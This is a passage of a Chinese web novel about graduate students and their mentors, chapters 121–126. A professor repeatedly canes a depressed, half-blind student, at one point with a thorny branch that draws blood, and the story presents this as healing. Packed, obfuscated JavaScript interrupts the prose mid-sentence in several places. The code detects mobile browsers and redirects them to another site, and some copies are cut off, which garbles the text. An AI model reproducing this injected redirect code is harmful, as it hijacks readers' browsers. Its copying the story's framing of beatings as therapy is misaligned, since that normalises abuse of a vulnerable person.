“那么,你还想问什么呢?” 121.心声 “我怕我会后悔。” 刘巍思在厨房里洗了杯子,倒了茶,放在庄遂平前面,照旧盘腿坐在地上,静静地听老师和同学谈话。 严先生没问他后悔什么,却转而问:“你有信心读博吗?” 庄遂平有些消沉地摇摇头。 “那么,你为什么不放弃就好?” 为什么呢?他也问过自己这个问题,甚至能回答得上来,但是他没办法相信那个答案。 他仍然期待着来自老师的爱。 他的家庭已经摧折了他许多许多年,时间磨损了他的渴望,长久的打压和漠视让他再生不出一点希冀,可是纪慎不一样。 他对纪慎有过最真挚的崇拜,也亲眼见过师生间超越血亲的情感,在无边的黑暗中,他曾经卑微地盼望过那样浓烈的感情能够在他和纪慎之间产生。 就算纪慎否定过他,嫌弃过他,打骂过他,可纪慎也教诲过他,更不要说这段时间以来纪慎做出的改变。 他收到了来自纪慎的礼物,听见了纪慎柔软下来的话语,也看到了他眉眼间的痛惜和无奈。 也许,纪慎还是有那么一点点愿意当他的老师的,而他,愿意为了这一点点,再次飞蛾扑火。 他来到这里,是为了确认,他这次会不会死无葬身之地。 “我觉得,”庄遂平伸手握住杯子,搪瓷杯里的热茶水丝丝缕缕地冒着白气,“事情好像和过去不一样了,我很茫然。” “过去,是什么时候?” 庄遂平转头看着严先生,怯弱回答:“是我在这里住的那段时间。” 是我最痛苦无助的时候,也是他最恨不得我走的时候。 严先生伸手捏了捏他的后颈,像对自己的小孩一样,缓缓道:“你知道纪沅吗?” 庄遂平点了点头。 “纪沅是在恢复高考那一年走的。当时我刚回来,事情闹得很难堪,你师爷,也就是纪老先生,特地打了电话来,要我劝劝纪慎。可是你知道,你老师的性子。那时候人也年轻些,不觉得儿子走了是什么大事,扬言说走了就不要再回来。”严先生叹了声气,“算回来,纪沅走了有七八年了吧?这么多年当真没回来过。纪沅这一点倒是随了他父亲,说一不二。” “纪沅走的第二年,巍思就来了。他很喜欢巍思,一是我的缘故,二是巍思很听话。他很爱带着巍思在身边,其实也是透过巍思在看纪沅。” 刘巍思从没听过这些往事,歪在茶几上撑着脑袋,听入迷了,忍不住问:“纪沅跟我一样大吗?” “纪沅比你小一些,但是你来读书那一年,纪沅在南京上学,他爷爷那里。” “可是我没听纪老师说过这些事。” “他那张嘴,哪里能说出想儿子这种话?”严先生埋汰了一句,又接着道,“遂平,后来的事你就知道了,你来了,巍思也从他身边走开了。” 庄遂平隐隐约约感觉到接下来的话很重要,喉咙发干,不自觉地拿起杯子,慢慢喝了一口茶。 “你代替了巍思,成了他的儿子。” 这个儿子自然是要打引号的,但庄遂平还是很难相信。 “他明明,很讨厌我。” “他当年,更讨厌纪沅。” 这个讨厌也是要打引号的。纪慎没有在自己的父亲身上感受过真诚完满的爱,也没有学会做一个有爱的父亲,他由着自己的情绪肆意发酵,全都倾泻在最亲近的人身上。 “遂平,他可能对你说过一些不好听的话,也做过一些不好的事,那是因为他觉得你是安全的,就像当年纪沅和巍思一样。”严先生拍拍他的肩,“纪沅走的时候他没有挽留,这些年大约很后悔,但是又开不了口,现在到你了,他可能不想再来一次。” “他心里,是很看重你的。” 庄遂平似乎被触动了,嘴唇抿紧又松开,颤声道:“可是,我很难相信。” “不怪你,他有性格上的缺陷,而且年纪在这里,也很难改变。巍思在的那几年,他性情倒很好,是巍思滋养着他的缘故。我不能要求你像巍思,也不会强留你下来,我甚至要告诉你,你留下来读博,也未必能和他好好相处,我只告诉你,你要听从自己内心的声音。” 内心的声音。 庄遂平又喝了一口茶。 “老师,这种事您怎么不早点说给我听?” “你也没问呀!整天就会回来告状说纪老师打你!” 刘巍思吐吐舌头,不说话了。 严先生语气轻松了些,道:“遂平,你再想想吧,要是想留下来,这两天就去交材料,然后和巍思一块儿上图书馆看书复习去,省得他一天到晚在家里烦我。” “我哪有?哼!我明天就上图书馆去!不,我今天下午就去!到时候别说找不到我!”刘巍思赌气似的,扭开了身子。 庄遂平看他小孩似的闹脾气,竟是笑了笑,道:“我明白了,严老师。” 和庄遂平不同,柏阅冬这些天一直过得很平静。他对练字这种事情没有特别的渴望,虽然因为专业的缘故接触过一些,但始终没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324164|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大兴趣,因此对周先生的提议,他搁置了好几天。 但在这几天里,他一打开次卧的门,就能看见书房门敞开着,书架上整整齐齐地摆着书,隔板上贴着周先生自制的标签,书房中是一张宽大的红棕色桌子,文房四宝一应俱全,还有一张桌子面对着窗户,窗台上还摆着两盆小绿植。 那是留给他的桌子。 不仅如此,他还发现书房始终空着,就像特地等待着他一样。 柏阅冬拿着笛子去了阳台。 吹了几天瓶子,他已经可以顺畅地吹响笛子了,于是开始练习指法,通过改变出气孔来形成不同的音调。他再不能沉浸在机械的呼气吸气中,而要调动脑子来记忆,控制指尖的抬起或按下,以及呼吸的时机,有些难度,但不多。柏阅冬花了一个下午,已经可以记住那个基础音调如何得来了。 就在回房的时候,他再次看到了那间空空的书房。 全新的桌子和椅子,空无一人的房间,像宿命一样召唤着他。 柏阅冬忐忑地走到书房门口,突然就被一种熟悉的感觉所包围,一个家,一个满是书的空间,一个属于他的安全的地方,这不就是他一直想要的吗? 他走进去,将笛子放在桌上,看看桌上的各种东西,挂着毛笔的假山笔架,微微凹下的黑色砚台,叠得整齐的纸张,甚至还有长方形的刻着花鸟图样的镇纸。 柏阅冬拉开椅子,打开砚台,倒水研墨,铺纸取笔,一串动作一气呵成。可真蘸了墨要落字时,却不知道写什么了。 他怎么去写他耀眼夺目的前半生,又怎么去写从高空坠落的那个黑暗瞬间,甚至是跌落后的消沉不堪。他不过是像莎士比亚说的那样,为了自己的荣誉,哪怕是稻秆之微,也要慷慨力争,但从没有人告诉他,力争的后果竟是如此。 想起他决定放弃时师父说的,希望他不要去争那篇文章,他当时没有说话,可是,他的心里始终回响着一个声音—— 即使再来一次,再来一千次一万次,他也会去争的。 他从没有做错什么,他维护着本属于他的东西,维护着他和师父夜以继日所产出的成果,维护着一个文人应有的良知,他只是低估了人性的恶。 纷乱的思绪之下,是笔走龙蛇,柏阅冬一刻不停,写了满满一张纸。 鲍照的《拟行路难》。 自古圣贤尽贫贱,何况我辈孤且直。 柏阅冬长长地呼出一口气,放下笔,将纸揉成一团,丢进了垃圾桶。 他再次回到了卧室。 122.不安 庄遂平还是决定留下来了,默默去提交了材料,也没有跟纪慎说,倒还算听话地每天和刘巍思一起在图书馆复习。 他们俩的毕业论文都写完了,只等着五月底答辩,现在最要紧的任务就是看书。 在这样日复一日的单调生活中,庄遂平渐渐平静下来,有时候跟刘巍思一块儿去食堂吃饭,也难得地笑了一笑。 不过刘巍思却是叹气更多:“唉,也不知道阅冬怎么样了,你记不记得以前咱们来吃饭,阅冬都要打好多个菜的?” 庄遂平点点头:“我记得,他受伤之前,我总是在想,我们三个什么时候还想以前一样一起看书,像他说的,开读书沙龙。我当时以为是我没有机会了,没想到……” 他们三个各有各的苦难和低谷,相对来说,刘巍思已经是最幸运的那个,因而也不好再抱怨什么。庄遂平沉默了一会,说:“有机会咱们俩去看看他?” “不好说哦,他还是不肯见人,而且……”刘巍思脑袋凑过来,压低了声音,神神秘秘的,“听说他的博导,就是周懋恭老先生人很不好亲近,我们也不好随便上门的。” 对于那位老先生的事情,庄遂平知道得不多,只听说是从国外回来的,带过很多硕士博士,连童院长都很尊敬他。此时听刘巍思这样说,不免有些担心:“那阅冬跟他读博,不会很辛苦吗?” 刘巍思耸耸肩:“那也没办法啊,他自己愿意的。我老师说,那个周先生会给我们上博士的课,下学期就知道了。” 庄遂平颇有些忐忑,点了点头之后就不说话了。 与此同时,周先生的房子快要装修好了,最近都只有些零零碎碎的小东西需要摆放和整理,再没有工人进门,柏阅冬觉得安全很多,但也开始有了其他的担忧——会不会有很多人来庆贺周先生新居? 这个疑问让柏阅冬变成了惊弓之鸟,吃饭来去匆匆,在阳台练习笛子的时间大大缩短,练字也要关上书房门,甚至一听到敲门声就会猛地吓一跳,然后抱头鼠窜,回到安全的卧室中。 但其实并没有人来,最多只是替周先生送货的工人,在门口将东西交给周先生就会离开。至于庆贺新居,更像是柏阅冬的臆想。 柏阅冬一日日煎熬过去,眼见着天气越来越热,他却还是吹笛子和练字,除了害怕以外,又多添了一份不安。 师父是送他来读博士的,周先生是他的博导,但是直到现在,他唯一看过的书是竹笛入门教程,文章更是一个字都没写过,这世上有他这样的博士吗? 周先生始终不催促他,任由他吹笛子练字,躲着不见人,仿佛他只是一个合租的房客。可是,哪个合租人会为房客准备笛子和书房呢? 今天不知怎么的有些闷热,屋里开了电风扇,最低一档,“呼呼”地吹走一些燥热,周先生仍盘坐在蒲团上,面色无虞地泡茶,柏阅冬则坐在阳台,吹着简单的曲子。 外头太热了,柏阅冬有点受不住,回过头,只见周先生一脸淡然,跟柏阅冬刚住进来时并无差别。 “老师,”柏阅冬走进来,坐在茶几对面,“我觉得很不安。” 周先生抿了一口热茶,说:“你师父送你来的时候,跟我说过你的情况。” 提到师父,柏阅冬眸光不由得暗了暗,没有应声。 “你师父似乎很相信我,你呢?” 柏阅冬抬头看了看茶几对面平静淡然的老先生,除了不安,更多的是茫然。他抿抿唇,道:“我觉得没有区别。” 相不相信,意义都不大。 周先生一边整理茶具一边笑了下:“那么你可以接受任何事情?” “是。” 周先生指指靠阳台一侧的小露台:“过去,裤子褪了,等我。” 柏阅冬知道这是要挨打,有一瞬间的惊异,虽然不明白为什么,但心无波澜。他看着周先生起身往书房去,也没有探究的意思,只是起身走到露台边,面对阳台跪下,解开了裤子,将内外两层布料都褪到大腿处。 这个露台几乎是为他设计的,他跪着正好可以俯下身子趴在台上,想来阳台这么多绿植,也该挡得住他,更何况,外面只是大马路,这九楼的高度,谁也看不见他挨打。正如这么久,也没有人知道他在这里练笛子一样。 柏阅冬趴下不久,周先生便提着一柄棕黑色戒尺出来了,两指半宽、一指后的小木条,似乎并无太强的威慑力。不知为何,周先生选了它来做刑具。 最先的触感是从腰侧传来的,周先生拍拍他的腰,问:“肚子会不会硌到?” 露台边缘是规整的直角,柏阅冬原本没注意,此时才有所发觉,不待他回应,周先生已搂住他上身,塞了一个抱枕到他身下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330909|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,隔绝了露台边缘的坚硬感。 只是这样一来,他的屁股就不由得撅得更高了。 柏阅冬两腿微分,安静地趴在露台上,既没有反抗,也没有扭捏,甚至于那戒尺在他臀上轻拍两下作为提醒的时候,他都觉得像是在梦里。 直到戒尺从高处兜风落下—— “啪!” “唔——”柏阅冬敏锐地察觉到即将破口而出的痛呼,立刻咬紧牙关,将尚未泄出的声音紧紧封锁在喉咙中。自他出事后,师父再没有动手,这一年多来,几乎忘却了挨打的滋味,戒尺抽落时生硬的钝痛唤醒了他对疼痛的恐惧,如同海浪一般,一层一层扩散开去。 但是他早已选择了听之任之。 戒尺再度落下,“啪”地抽在臀尖上,叠着第一道红痕,将那一处皮肉打得肿胀。 柏阅冬只是微微皱了眉心。 戒尺保持着两三秒一下的速度进行责打,每一下都伴随着清脆响亮的声音,随后便是从表皮渗入肌理的钝重痛感,周先生不发一言,如同一个无情的施罚机器,几乎精准地控制着戒尺落下的位置和力度。 打过十来下,柏阅冬已不自觉握紧了拳头,虽不知身后光景,但他却感觉到疼痛呈倍数增长,原本只有戒尺挨打的地方痛,现在是整个屁股,连同全身都在痛。 就连他的血液、骨头都一并颤抖。 但周先生没有放过他。 没有人知道这算什么,惩罚?训诫?提醒?好像都不是。它像一次下午茶,脆弱的孩子乖觉地褪下裤子,露出屁股,长者沉默地挥动戒尺,没有缘由,没有数目,看似平静的场面下汹涌着不为彼此所知的情感和秘密。 戒尺一记记责过,受了责打的屁股通红一片,薄薄地肿起一层,带来烧灼一般的痛感。柏阅冬暗自计数,一直数到三十,周先生停下了戒尺。 他趴在露台上,大口地呼吸,额上已滚出了大颗大颗的汗珠,打湿了他的脸庞。 周先生平静地把戒尺放在茶几上,问:“这样你会好一点吗?” 柏阅冬失神地眨眨眼,点了点头。 “好,”还是这个字,“以后每天都打。” 每天都像这样挨戒尺,柏阅冬不知怎么的,一点也不害怕,只觉得无处安放的心突然有了去处,鼻尖蓦然酸酸涩涩,嘶声道:“谢谢老师。” 123.挨打 那一晚,柏阅冬少见地睡了一个好觉,入睡很快,几乎没有做梦,醒来时已天光大亮——他几乎觉得自己跟过去一模一样了,如果不是突然发现右眼还是看不见。 他穿好衣服走出房间,洗漱,准备吃早餐。 周先生起得早一些,已经吃过早餐,开始泡茶了。餐桌上只有一晚皮蛋粥,还冒着热气,是刚刚热好的。 柏阅冬安静坐下,一口一口地喝完了那碗粥。 来到茶几面前,看见那个露台、那柄戒尺,柏阅冬竟觉得有些不真实,好像浮在云端,每一脚踏下去都有落空的可能。 “老师。” 周先生不动声色,缓缓递过去一杯茶,棕黑色的小圆茶杯,清清亮亮的茶水,氤氲着一层白汽:“尝一口?” 柏阅冬双手接过,慢慢啜饮半口,很烫,喉咙都被热茶冲开一条道。 “喝得出来是什么茶吗?” 柏阅冬放下茶杯,诚实地摇头。 周先生笑笑,也不解释,自顾自饮了半杯茶,又摆弄起茶几上的器具来。 这份不紧不慢的从容是周先生独有,可时常让柏阅冬万分难受。他明明知道柏阅冬在等什么,可永远也不说破,只静静地等着,等着柏阅冬自己开口。 “老师,”柏阅冬耐不住,“昨天您说……今天,要不要……” 周先生侧头垂眸,汩汩倒茶,道:“如果你想要得到什么,就要学会自己开口。” 柏阅冬心里堵得难受,转头看向外头的天。今天照旧是大晴天,阳光刺眼,却再也照不亮他的右眼,还有他的前途,他的未来。 一个连未来都不配再拥有的人,似乎也不必在意什么羞耻。 柏阅冬低下头,自嘲一笑,道:“老师,我想挨打。” “好。”周先生轻巧应下。 柏阅冬长长舒出一口气,起身到露台前,如昨天一般,褪裤,趴在露台上,等待着戒尺的落下。 和他那两个同学比起来,柏阅冬细皮嫩肉,昨天不过挨了三十戒尺,臀上就留下了一小团灰青色痕迹。周先生见了,什么也不说,默默拿起戒尺,在他臀尖点了点,便兜风抽了下去。 柏阅冬双眼猛地闭起来,疼得。有了昨天那一回,今天已然有了心理准备,但是疼痛并为因此减轻半分。 细嫩的两团肉在戒尺的责打下渐渐红肿,带着令人本能想要逃避的痛辣,可是柏阅冬却反常地享受着这份痛苦折磨,静静地趴着,不吭一声,细细体会从表皮深入骨髓的痛楚。 皮肤下像有千百根细针,此起彼伏地刺激着他的神经,热辣、胀痛、刺麻,仿佛试图唤醒一个瘫痪病人的知觉。 在身体的疼痛下,柏阅冬触摸到自己平稳跳动的心脏。 他好像,很久没有这么平静了。 三十戒尺过后,屁股一片通红。柏阅冬不等周先生发话,便自觉穿上了裤子。一抬头,才看见周先生走到玄关的柜子里拿东西了。 “回去上药。”周先生将一管药膏放在露台上。 柏阅冬看看药膏,没有应声。 那管药膏被柏阅冬带回了房间里,可是并没有用上,将它带走像是给周先生卖了个面子。只是周先生对他卖来的面子并不是很感兴趣,第三天看见柏阅冬臀上更加深色也更加大面积的伤痕时,淡淡问了一句:“没有上药?” 柏阅冬选择了沉默,用沉默代替回答。 “没有区别?” “嗯。” 反正疼不死,上不上药无所谓。更何况,他很需要这样的疼痛来作为提醒——自己还活着。 周先生从蒲团上起身,走到了阳台。柏阅冬维持着趴伏的姿势,抬眸看周先生在做什么。 推拉门外的老人仿佛在修剪自己心爱的植物,挑了一根细长的花枝,用剪刀剪断,又细细摘了枝上的花叶,留下一段手臂长短的硬枝条。柏阅冬想,这是他今天的刑具。 周先生走进来时跟他对视了一眼,小孩的眼神还是那样,一潭死水。 没有恐惧,也没有恳求。 柏阅冬听着身后的窸窣响动,知道周先生是重新坐下来了,猜测他也许在比划如何让枝条落下,那么细的枝条,小拇指粗,应该不会很疼。 他应该选一条粗一点的,柏阅冬想。 但是细细的枝条“咻”一声抽下来的时候,柏阅冬几乎咬掉了舌头,痛苦的呜咽不由自主地从喉咙里逃窜而出。屁股上传来尖锐的撕扯感,那不是戒尺责打造成的肿胀,而是…… 枝条上的尖刺划破了他的皮肤。 周先生摘掉了枝上的花叶,却没有剪去上面的倒刺。 两团肉因为尖细的刺痛而紧绷着,但周先生却没有等,两三秒过后,再次扬起枝条,狠狠抽了下去! “啊!!”柏阅冬忍不住发出一声痛呼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此后便一直这样,柏阅冬日日趴在那露台上挨打,大多数时候是戒尺,偶尔是一些其他的刑具。周先生没有表现出任何情绪,打完就放他走,看见伤重了便给他上药,至于他喜欢去练字、吹笛子、枯坐一下午,都随他高兴。 直到有一次,他用泡过水的藤条把小孩的屁股打出了一道道红棱,第二天却发现那伤痕淡了很多。 “你有感觉了,是不是?” 柏阅冬还是茫然地摇摇头:“我不知道。” 周先生收起戒尺:“起来吧,下午再打。” 124.未朽 柏阅冬没有坚持,起身穿好裤子就到阳台外面吹笛子去了。 但这一天却颇不平静。柏阅冬一首曲子吹得断断续续时,敲门声却忽然响了起来,“邦邦邦”的,吓了他一跳。周先生去开门,低沉的男声传了进来:“送家具!” 柏阅冬猛地抓紧了手里的笛子,怎么还会有家具送来的?现在回房还来不来得及?他们会不会进屋?会不会看见他的瞎眼?柏阅冬悄悄转了下身体,完全背对着客厅,腰背挺得直直的,丝毫不敢放松。 周先生好似完全不顾及他,敞开大门就让门外两个汉子把东西抬进来,指着茶几旁的空地道:“放这里,竖着放,对,就这样。” 近在咫尺,柏阅冬想,他们一定看见了阳台还有个人,要不要现在吹一下?专心练笛子显得比较正常,可是如此紧张,他甚至连基本的指法都不记得,只能胡乱按着上头的圆孔,把指腹压出一个个小圈。 周先生看着工人摆好他订购的家具,付了钱,将人送出门,回过头来就对上柏阅冬好奇的目光。 最终他们两个的目光都落在了新来的家具上——一张长矮凳。 凳子大约一人宽,一米四五长,跟周先生的矮茶几一个高度,虽是木质主体,但上面是浅灰色绒布包裹着海绵,坐下去应该是柔软的质感。柏阅冬想到以前上海家里的床尾凳,就跟这个差不多。 只是床尾凳为什么会放在这里?一个日式榻榻米客厅,难不成要用这么一个床尾凳接客吗?怎么都不合适吧?就算不是给客人坐,放在这里也很不协调。 但柏阅冬没问,周先生也没有主动说。两个人一如往常吃了午饭,小憩片刻,再次精神饱满地在茶几前相对时,已是下午三点多。 周先生递给他一个长条的盒子:“打开。” 柏阅冬双手接过,放在茶几上,双手扶着两侧,掀开盖子,只见里面躺着一根手臂长的深棕色类似于竹竿的东西。 不是竹竿,柏阅冬没见过这种颜色的竹竿,可是它没隔一段就会有一个类似竹节的凸起,分明是竹竿的形状。 柏阅冬伸手将那东西拿了出来,沉甸甸的,很有些重量,可能是木制的,特地做成竹节的模样,而且它的一端系了一颗晶莹的小玉珠。 柏阅冬问:“是什么?” “从今天开始,用这个打你。” 柏阅冬手轻轻抖了一下,还是没有太大反应。当周先生伸手过来时,他双手捧着往前送了送。 柏阅冬那几年在秦昭阳面前少有如此恭敬和周到,但周先生并未有太多反应,只是握住竹节带玉珠的一端,另一端在上午送来的长凳上点了点:“趴上来。” 柏阅冬脑子有一瞬间的空白,随后轻颤睫毛,略带疑问地看向周先生。 这张凳子是给他准备的?是让他挨打的?但是,放在这里,就……不对,是特地放在这里的,周先生那个位置,那根竹节的长度,正好可以打到他的屁股。 他今天上午明明听到送货的工人说是定制的,做了一段时间才送来的。 难道,老师早就在设计他的挨打生活?柏阅冬莫名其妙地气结了一下,可什么都没有说出口,只是顺从地起身,走到长凳旁,跨坐上去,褪了裤子,趴在柔软的长凳上。 长度的确刚刚合适,周先生比划了一下,“啪”地抽了上去。 木竹节的声音闷闷的,疼痛也是钝重的,一下仿佛能打透几层肉,加之竹节凸起,痛感更加明显,柏阅冬忍不住抱紧了长凳边缘。 还是两三秒一次的频率,竹节打下去,将颇富弹性的两团肉打得往下一凹,随后迅速恢复原状,只是皮肤上多了一层淡淡的绯色。 跟戒尺或藤条能很快抽出颜色不同,竹节看着不怎么显伤,但却是扎扎实实疼到肉里的。柏阅冬挨了几下,手心就冒汗了。 三十下,熬一熬就过去了。 “啪!” 柏阅冬牙关一紧,没有叫出声来,可实际上却疼得不行了。这么多天挨了好几种刑具,还是这个木竹节最厉害。 “啪!” 忍住,忍住! “啪!” 好疼…… “啪!” 每挨一下,柏阅冬便要胡思乱想一些什么扛过去,幸而三十下不算多,真拿出毅力来,也不算难事。可当他挨完三十下准备起身的时候,那竹节的一端点在他的背上,阻止了他。 “三十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柏阅冬眼泪淌了下来。他知道,这么久以来,一直都有人阻止着他的心朽去,过去是师父,现在是周先生,可是好难,真的好难。 周先生在他身后环着他,右手紧紧握住他的手,左手轻轻抱住了他。 “阅冬,要坚强。” 柏阅冬泪如雨下,右手虎口一松,让毛笔从中间滑落了。 他到底没有落下那个朽字。 他转过身,抱住了周先生,哭着唤了一声:“师父。” 125.毕业 那天之后,周先生没有再打他,也不动声色地应了这一声师父,但这样一来,柏阅冬就有了两个师父,也不免会有两个师父坐在一起的时刻。 六月上旬,秦昭阳来了一趟,进屋见到柏阅冬坐在蒲团上摆弄笛子,歪着头,手指动来动去,一瞬间让他觉得好像孩子才刚来读研。 “阅冬,给你师父让座吧。”周先生道。 “哦。”柏阅冬应了一声,起身往露台边挪了挪,将自己的蒲团让出来,“师父坐这里。” 秦昭阳笑了笑,走过去盘腿坐了:“在周先生这里还好?” 柏阅冬点了点头,见师父盯着他的眼睛,不自觉地偏了偏头。秦昭阳意识到什么,赶紧扭开了头。 周先生仍是坐他的主座,从容淡定地泡茶:“秦老师来有何贵干?” 还是那副拒人于千里之外的冷漠模样,秦昭阳早有心理准备,没有太在意。正要说话,却忽然注意到一旁的长凳和放在上面的长竹节。这样的东西,一看就知道是用来干什么的,竟也不收起来,难道是经常…… 秦昭阳失神地看向小孩,可小孩却沉迷于他的竹笛指法,手指生疏地抬起又按下,好似没有什么委屈要和师父诉说。 小孩不说,他也不能质问周先生,毕竟是他求着周先生收小孩读博的,现在又有什么立场提出异议? “难不成秦老师来一趟,是为了坐在我这里喝喝茶?”周先生说着,提起小茶壶往几个杯子里依次倒茶,送了一杯到秦昭阳跟前。 秦昭阳回过神,见他又放了一杯茶在小孩面前,头也不抬,道:“手指明显僵硬了,练习的效果很差,已经是休息时间了。” 柏阅冬讪讪地放下笛子,喝茶。 秦昭阳心想,周先生在教他吹笛子。 “我来,也没有什么重要的事。一是为了看看阅冬,二是想问一下阅冬,后天是、是毕业典礼,你要不要去?”问到最后,还是那个小心翼翼的语气,生怕柏阅冬会突然发脾气。 柏阅冬看向秦昭阳,抿抿唇,却没有说话。秦昭阳是很希望他去的,上台领毕业证、拨穗、拍照,然后师门聚餐、同学聚餐,一系列的活动。他记得,往年六月学校都很热闹,他希望他的小孩也可以体验一次。 可是相比于那样的风光热闹,柏阅冬更想安安静静地吹他的笛子。 只是,看见师父的眼神,他会愧疚。 他没办法开口就拒绝。 “想去就去,不想去就不去。”周先生道,“很难吗?” 秦昭阳已经预感到小孩的回答了,找补道:“不去毕业典礼,那你要不要明天去跟刘巍思和庄遂平拍毕业照?你们也很久没有见过面了。” 柏阅冬还是沉默。 秦昭阳眨眨眼,似乎又要说什么,可是周先生却出了声:“他不去,秦老师不必再说了。” 秦昭阳尴尬地笑了笑:“没事,不去就不去,你高兴就好。” 从头到尾,柏阅冬没有说一句话,只是看着师父勉强挤出的笑,心酸不已。 毕业典礼算得上盛大。所有毕业生挤在学校的大礼堂里,一大片黑色的学士服里,有几点硕士的蓝,至于博士,已经淹没不见了。各色的肩带代表着不同学科,大家讨论着别人的粉色或黄色带子是哪个学院的,方形的帽子相互撞来撞去,帽檐上的穗带更是甩得厉害,一扭头就不知道跑哪儿去了,得摸着脑袋三百六十度翻找。不少毕业生还带着自己的家人或朋友一起来见证这个重要的时刻,手里捧着鲜花,提着礼物,脸上是光彩照人的笑容,仿佛下一秒就要上电视。 除了刘巍思,严先生还有一个毕业的博士,整个师门,除了整天躲着的姜新宇,剩下的人都来了。刘巍思捧着一大束鲜花,还接了不少师弟师妹师兄师姐的礼物,位置放不下,只好放在脚边。台上是校长讲话,刘巍思把话给老师抱着,自己开始拆礼物。 “哇!”刘巍思拆出两大盒酒心巧克力,激动地问,“老师,您从哪里找来的好东西?” “你前段时间不是说想吃?老师让你师兄买回来的,前两天才到。” 国外的东西,严铮寄回来的。 “老师最好了!”刘巍思一把抱住严先生。 严先生笑:“只有老师好?师兄不好?” “师兄也好,我晚点给师兄打电话谢谢他。” “等会典礼结束了,咱们在外头拍个合照,然后一块去吃饭。你大师兄昨晚说他也过来,你今天乖乖的啊,别惹你大师兄生气,省得毕业还要挨打。”严先生打趣着,帮小孩理了理歪了的肩带。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可扭头一看,纪慎又冲他笑了笑。 奇怪,太奇怪了。 不过童院长明不明白不重要,纪慎自己明白就好。学院的硕士依次上前站好,等待着老师们来拨穗。纪慎站在庄遂平跟前,抬手将他落在脑后的流苏摆向一侧,让它自然垂落下来。 庄遂平看着他,眼睫毛一颤一颤的。 “毕业了。” “嗯。” 纪慎看着小孩,还是不大高兴的样子,一句“毕业快乐”在嘴里转了几圈,到底没有说出口。庄遂平也没有像其他人那样笑着鞠躬说谢谢老师,就这么既隆重又草率地完成了拨穗。 126.礼物 “阅冬。” 柏阅冬听到声音,放下笛子,走进了屋里。周先生招了招手:“过来。” 柏阅冬把笛子放在茶几上,绕过长凳到了师父跟前,乖乖跪坐下来。 周先生不知从哪里拿出一顶毕业帽,柏阅冬一惊,却见师父把帽子往自己头上戴,顿时动也不敢动了。 “师父……”他有点不明白。 周先生不紧不慢地帮他戴好帽子:“师父给你拨穗。”说着将毕业帽上的流苏从旁边顺下来,稳稳当当。 小孩子眨了眨眼,眼尾泛红。 “会有以后的,你放心。” 柏阅冬热泪盈眶,点了点头。 周先生拍拍小孩:“师父要去买菜了,你把饭放进去煮。” “可是,昨天煮成粥了。”柏阅冬是小少爷,哪里会做饭? “那就喝粥。”周先生根本不放在心上,撑着茶几,站了起来。柏阅冬也跟着摇摇晃晃起身,目送师父出门去。 可是才打开门,周先生就被拦住了。门口地上放着一束鲜花,上面插了一张卡片,写了毕业快乐四个字,没有落款。 周先生把花抱进来,放在玄关:“给你的。” 柏阅冬走过去,狐疑地看着师父:“师父送的?” 周先生一边换鞋一边说:“我送的就用不着匿名,也不会放在门口。” 那是谁送的?应该不会是另一个师父,也不会是学院的其他老师,老师们上门少不得要来跟周先生打个招呼,不可能放下就走。看笔迹,不像是巍思或者遂平,难道是晚亭?毕竟当过一个学期的师兄妹,送花也说得过去。 周先生看小孩子绞尽脑汁,可能想到半夜也想不出来,便道:“不管是谁送的,是心意你就收下,找个瓶子插起来,插好看一点,我回来要检查。” “哦。”柏阅冬忙忙应了一声,等师父出了门,他才反应过来,怎么又要煮饭又要插花啊?他只有一双手啊! 大礼堂那头,毕业典礼已经结束,严先生带着一大群学生浩浩荡荡往饭店去了。纪慎穿过嘈杂的人群,找到孤零零的庄遂平,道:“知道你不喜欢一大群人吃饭,没有安排师门里的人一起聚餐,晚上到家里去吧,忆芸给你做。” 庄遂平稍微被安慰了一点,至少不是什么都没有,可又想,谁说我不喜欢一大群人吃饭?只是心里的话是不可能拿出来跟纪慎说的,“哦”了一声,算是答应。 这一天忆芸是提前一个小时下班回来做饭的,庄遂平到的时候饭菜都准备好了,一进门忆芸就迎了上来,两手搭着他的肩膀,笑道:“毕业了,毕业快乐!今天拍照没有?” 庄遂平原本脸色还温和,一听这个,立马变色——他没拍照,他一张照片都没有! “是不是忘记了?没事,这几天还有人拍,明天再拍去!”忆芸说着拉他往客厅走,客厅的小茶几上放着好几个礼物袋,都是给他的。 忆芸从一个袋子里拿出一身衣服来,在他身上比划着:“给你买了一身新衣服,读博士了,穿好看点。” 